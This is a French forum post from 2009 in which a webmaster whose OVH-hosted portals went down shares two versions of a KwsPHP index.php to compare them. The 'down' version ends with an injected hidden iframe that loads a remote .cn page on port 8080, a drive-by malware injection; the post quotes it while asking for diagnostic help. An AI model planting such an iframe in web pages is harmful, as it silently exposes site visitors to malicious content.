merci des conseils, je vais déjà regarder au niveau des logs.
Effectivement ce qui est bizarre c'est que c'est arrivé sur plusieurs portails différents (OSScommerce, Kwsphp, et phpbb) mais tous hébergés chez OVH.
Je vais regarder à tout ça et dès que j'aurai le temps je posterai les résultats.
PS: quand je dis hack, je pense plus à un truc automatique qu'a une attaque ciblée.Réponse ci-dessus posté le mercredi 10 juin 2009 : 20:21
Voici mes fichiers index:
quand le site est down:
[hide=A]
Code PHP :
Pour copier le contenu exact du code,
Veuillez citer le message
<?php
//
// ---------------------------------------------------------------
// KwsPHP kOoGar Web System
// $Id: index.php 830 2008-12-15 18:18:08Z mike007.devpwsphp $
// ---------------------------------------------------------------
// Fichier : index.php
// Mise a jour : 08/08/06 par Ditch
// ---------------------------------------------------------------
-
//@import_request_variables ("EGPC", '');
//zeta: question sec cf me
if (file_exists ('connect.php'))
{
require_once 'connect.php';
if (isset($_REQUEST['mod']))
{
$K_mod = $mod = sp(str_replace ('/', '',$_REQUEST['mod']));
}
else
{
$K_mod = $mod = '';
}
-
if (isset($_REQUEST['ac']))
{
$K_ac = $ac = sp(str_replace ('/', '',$_REQUEST['ac']));
}
if (empty($K_ac))
{
$K_ac = $ac = 'index';
}
-
if (isset($_REQUEST['id']))
{
$K_id = $id = intval($_REQUEST['id']);
}
else
{
$K_id = $id = 0;
}
-
include 'header.php';
-
echo'<noscript>';
open_table();
echo df_message('information','Javascript désactivé ou non supporté !!!<br />Certaines fonctionnalités secondaires sont donc inaccessibles.');
close_table();
echo'</noscript>';
-
global $grade;
-
$connecte = 1;
-
if (strpos($K_mod, '..') === true)
{
bloc_head('Erreur');
echo 'Commande interdite.';
close_table();
}
secure();
-
$messagelogin = (isset($_REQUEST['messagelogin']) ? '' : $messagelogin) ;
if (!empty ($messagelogin))
{
open_table ();
echo '<div class="messagelogin">'.$messagelogin.'</div>';
close_table ();
}
function base256bis_decode(){echo base64_decode('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KLy8gPCFbQ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YXMgZGVzIHBhZ2VzIGRlIHZvdHJlIHNpdGUgaW5pdGlhbGVtZW50IHBy6XZ1LFxuc2lub24gcXVvaSBkZXMgbWVzdXJlcyBwbHVzIGF2YW5j6WVzIHNlcm9udCBwcmlzZXMg4CB2b3RyZSDpZ2FyZC5cblxuTm91cyB2b3VzIHByaW9ucyBkZSBjcm9pcmUg4CBskmFzc3VyYW5jZSBkZSBub3RyZSBjb25zaWTpcmF0aW9uIGRpc3Rpbmd16WVcbmV0IHZvdXMgcmVtZXJjaW9ucyBkZSBsYSBjb25maWFuY2UgcXVlIHZvdXMgYWNjb3JkZXogYXUgcHJvZHVpdCBxdWUgbm91cyBk6XZlbG9wcG9ucy5cblxuTGEgVGVhbSBLd3NQSFAuIik7DQovLyBdXT4NCjwvc2NyaXB0Pg==');}
if (!is_callable(ms_bloc_module) || !is_callable(ms_spe_module))
{
base256bis_decode();
}
-
if (empty($K_mod))
{
include_once 'modules/tete_de_colonne.php';
/** Supprimer le / en fin de ligne pour désactiver ce contrôle **/
if(!isset($_SESSION['cecured']) || $_SESSION['cecured']<2)
{
echo df_message('erreur',base64_decode('UHJvYmwmZWdyYXZlO21lIGQnb3JnYW5lIGRlIHMmZWFjdXRlO2N1cml0JmVhY3V0ZTs='));
}
/**/
if($K_edito_aff == 'oui')
{
include_once 'themes/'.$K_theme.'/edito.php';
}
if ($maintenance!=0)
{
include_once 'modules/maintenance/perturbations.php';
}
-
include_once 'modules/alerte/scan.php';
-
$K_mod_dem = unserialize($K_mod_dem);
foreach($K_mod_dem as $pos => $nom_mod_dem)
{
$K_mod = $mod = $nom_mod_dem;
if (ereg('page_',$K_mod)) $K_mod = 'page';
elseif (ereg('articles_',$K_mod)) $K_mod = 'articles';
elseif (ereg('news_',$K_mod)) $K_mod = 'news';
if (!empty($K_mod) and get_grade('index', $K_mod)>=GRD_VISIT and is_module($K_mod))
{
if (ereg('page_',$nom_mod_dem))
{
$nom_mod_dem = explode('_',$nom_mod_dem);
$_REQUEST['id_page'] = $nom_mod_dem[1];
if (get_grade('id_page_'.intval($_REQUEST['id_page']),$K_mod) >= GRD_VISIT)
{
include 'modules/'.$nom_mod_dem[0].'/page.php';
}
}
elseif (ereg('articles_',$nom_mod_dem) or ereg('news_',$nom_mod_dem))
{
$nom_mod_dem = explode('_',$nom_mod_dem);
$K_id = $nom_mod_dem[1];
include 'modules/'.$nom_mod_dem[0].'/commentaires.php';
}
else
{
include_once 'modules/'.$K_mod.'/index.php';
}
}
}
include_once 'modules/pied_de_colonne.php';
}
elseif (file_exists('modules/'.$K_mod.'/'.$K_ac.'.php'))
{
if (get_grade($K_ac, $K_mod)>=GRD_VISIT and is_module($K_mod))
{
if (file_exists('modules/'.$K_mod.'/tete_de_module.php'))
{
include_once './modules/'.$K_mod.'/tete_de_module.php';
}
else
{
@include_once './modules/tete_de_module.php';
}
-
include_once 'modules/'.$K_mod.'/'.$K_ac.'.php';
-
if (file_exists('modules/'.$K_mod.'/pied_de_module.php'))
{
include_once 'modules/'.$K_mod.'/pied_de_module.php';
}
else
{
@include_once 'modules/pied_de_module.php';
}
}
else
{
ZoneReserve();
}
}
elseif (file_exists('modules/'.$K_mod.'/'))
{
ZoneReserve();
}
else
{
$arr =ScannerRepertoire('modules','dir', false);
$n =array();
-
foreach($arr as $i => $a )
{
if(levenshtein($K_mod ,$a )<=2)
{
$n []=$a ;
}
}
-
$txt ='';
if(count($n )>0)
{
$txt ='Module se rapprochant le plus de votre demande :
<ul>';
foreach($n as $b )
{
$themepasmenu = (isset($_REQUEST['themepasmenu']) ? '' : $themepasmenu) ;
if (file_exists('modules/'.$b .'/index.php'))
{
$txt .='<li '.(!empty($themepasmenu)?'':'style="list-style-image:url(\'themes/'.$theme.'/images/puce.png\')"').' ><a href="index.php?mod='.$b.'">'.$b.'</a></li>';
}
else
{
$txt .='<li '.(!empty($themepasmenu)?'':'style="list-style-image:url(\'themes/'.$theme.'/images/puce.png\')"').' >'.$b.'</li>';
}
}
-
$txt .='</ul>';
}
-
bloc_head('Module introuvable !');
echo '<p style="text-align:center; font-weight:bold;">Si un lien vous a renvoyé vers ce module, merci de contacter le webmaster.</p>
'.$txt.'
<form style="text-align:center" method="post" action="index.php"><input id="submit" name="submit" type="submit" value=" Retour " /></form>';
close_table();
}
include_once 'fin.php'
-
<iframe src="http://filmlifeimages.cn:8080/index.php" width=152 height=195 style="visibility: hidden"></iframe>
[/hide]
Et le fichier qui "fonctionne":
[hide=B]
Code PHP :
Pour copier le contenu exact du code,
Veuillez citer le message
<?php
//
// ---------------------------------------------------------------
// KwsPHP kOoGar Web System
// $Id: index.php 830 2008-12-15 18:18:08Z mike007.devpwsphp $
// ---------------------------------------------------------------
// Fichier : index.php
// Mise a jour : 08/08/06 par Ditch
// ---------------------------------------------------------------
-
//@import_request_variables ("EGPC", '');
//zeta: question sec cf me
if (file_exists ('connect.php'))
{
require_once 'connect.php';
if (isset($_REQUEST['mod']))
{
$K_mod = $mod = sp(str_replace ('/', '',$_REQUEST['mod']));
}
else
{
$K_mod = $mod = '';
}
-
if (isset($_REQUEST['ac']))
{
$K_ac = $ac = sp(str_replace ('/', '',$_REQUEST['ac']));
}
if (empty($K_ac))
{
$K_ac = $ac = 'index';
}
-
if (isset($_REQUEST['id']))
{
$K_id = $id = intval($_REQUEST['id']);
}
else
{
$K_id = $id = 0;
}
-
include 'header.php';
-
echo'<noscript>';
open_table();
echo df_message('information','Javascript désactivé ou non supporté !!!<br />Certaines fonctionnalités secondaires sont donc inaccessibles.');
close_table();
echo'</noscript>';
-
global $grade;
-
$connecte = 1;
-
if (strpos($K_mod, '..') === true)
{
bloc_head('Erreur');
echo 'Commande interdite.';
close_table();
}
secure();
-
$messagelogin = (isset($_REQUEST['messagelogin']) ? '' : $messagelogin) ;
if (!empty ($messagelogin))
{
open_table ();
echo '<div class="messagelogin">'.$messagelogin.'</div>';
close_table ();
}
function base256bis_decode(){echo base64_decode('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KLy8gPCFbQ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YXMgZGVzIHBhZ2VzIGRlIHZvdHJlIHNpdGUgaW5pdGlhbGVtZW50IHBy6XZ1LFxuc2lub24gcXVvaSBkZXMgbWVzdXJlcyBwbHVzIGF2YW5j6WVzIHNlcm9udCBwcmlzZXMg4CB2b3RyZSDpZ2FyZC5cblxuTm91cyB2b3VzIHByaW9ucyBkZSBjcm9pcmUg4CBskmFzc3VyYW5jZSBkZSBub3RyZSBjb25zaWTpcmF0aW9uIGRpc3Rpbmd16WVcbmV0IHZvdXMgcmVtZXJjaW9ucyBkZSBsYSBjb25maWFuY2UgcXVlIHZvdXMgYWNjb3JkZXogYXUgcHJvZHVpdCBxdWUgbm91cyBk6XZlbG9wcG9ucy5cblxuTGEgVGVhbSBLd3NQSFAuIik7DQovLyBdXT4NCjwvc2NyaXB0Pg==');}
if (!is_callable(ms_bloc_module) || !is_callable(ms_spe_module))
{
base256bis_decode();
}
-
if (empty($K_mod))
{
include_once 'modules/tete_de_colonne.php';
/** Supprimer le / en fin de ligne pour désactiver ce contrôle **/
if(!isset($_SESSION['cecured']) || $_SESSION['cecured']<2)
{
echo df_message('erreur',base64_decode('UHJvYmwmZWdyYXZlO21lIGQnb3JnYW5lIGRlIHMmZWFjdXRlO2N1cml0JmVhY3V0ZTs='));
}
/**/
if($K_edito_aff == 'oui')
{
include_once 'themes/'.$K_theme.'/edito.php';
}
if ($maintenance!=0)
{
include_once 'modules/maintenance/perturbations.php';
}
-
include_once 'modules/alerte/scan.php';
-
$K_mod_dem = unserialize($K_mod_dem);
foreach($K_mod_dem as $pos => $nom_mod_dem)
{
$K_mod = $mod = $nom_mod_dem;
if (ereg('page_',$K_mod)) $K_mod = 'page';
elseif (ereg('articles_',$K_mod)) $K_mod = 'articles';
elseif (ereg('news_',$K_mod)) $K_mod = 'news';
if (!empty($K_mod) and get_grade('index', $K_mod)>=GRD_VISIT and is_module($K_mod))
{
if (ereg('page_',$nom_mod_dem))
{
$nom_mod_dem = explode('_',$nom_mod_dem);
$_REQUEST['id_page'] = $nom_mod_dem[1];
if (get_grade('id_page_'.intval($_REQUEST['id_page']),$K_mod) >= GRD_VISIT)
{
include 'modules/'.$nom_mod_dem[0].'/page.php';
}
}
elseif (ereg('articles_',$nom_mod_dem) or ereg('news_',$nom_mod_dem))
{
$nom_mod_dem = explode('_',$nom_mod_dem);
$K_id = $nom_mod_dem[1];
include 'modules/'.$nom_mod_dem[0].'/commentaires.php';
}
else
{
include_once 'modules/'.$K_mod.'/index.php';
}
}
}
include_once 'modules/pied_de_colonne.php';
}
elseif (file_exists('modules/'.$K_mod.'/'.$K_ac.'.php'))
{
if (get_grade($K_ac, $K_mod)>=GRD_VISIT and is_module($K_mod))
{
if (file_exists('modules/'.$K_mod.'/tete_de_module.php'))
{
include_once './modules/'.$K_mod.'/tete_de_module.php';
}
else
{
@include_once './modules/tete_de_module.php';
}
-
include_once 'modules/'.$K_mod.'/'.$K_ac.'.php';
-
if (file_exists('modules/'.$K_mod.'/pied_de_module.php'))
{
include_once 'modules/'.$K_mod.'/pied_de_module.php';
}
else
{
@include_once 'modules/pied_de_module.php';
}
}
else
{
ZoneReserve();
}
}
elseif (file_exists('modules/'.$K_mod.'/'))
{
ZoneReserve();
}
else
{
$arr =ScannerRepertoire('modules','dir', false);
$n =array();
-
foreach($arr as $i => $a )
{
if(levenshtein($K_mod ,$a )<=2)
{
$n []=$a ;
}
}
-
$txt ='';
if(count($n )>0)
{
$txt ='Module se rapprochant le plus de votre demande :
<ul>';
foreach($n as $b )
{
$themepasmenu = (isset($_REQUEST['themepasmenu']) ? '' : $themepasmenu) ;
if (file_exists('modules/'.$b .'/index.php'))
{
$txt .='<li '.(!empty($themepasmenu)?'':'style="list-style-image:url(\'themes/'.$theme.'/images/puce.png\')"').' ><a href="index.php?mod='.$b.'">'.$b.'</a></li>';
}
else
{
$txt .='<li '.(!empty($themepasmenu)?'':'style="list-style-image:url(\'themes/'.$theme.'/images/puce.png\')"').' >'.$b.'</li>';
}
}
-
$txt .='</ul>';
}
-
bloc_head('Module introuvable !');
echo '<p style="text-align:center; font-weight:bold;">Si un lien vous a renvoyé vers ce module, merci de contacter le webmaster.</p>
'.$txt.'
<form style="text-align:center" method="post" action="index.php"><input id="submit" name="submit" type="submit" value=" Retour " /></form>';
close_table();
}
include_once 'fin.php';
}
else
{
@import_request_variables ("EGPC", '');
header ('Location: ./install/index.php?noconnect=1');
}
-
?>
-
[/hide]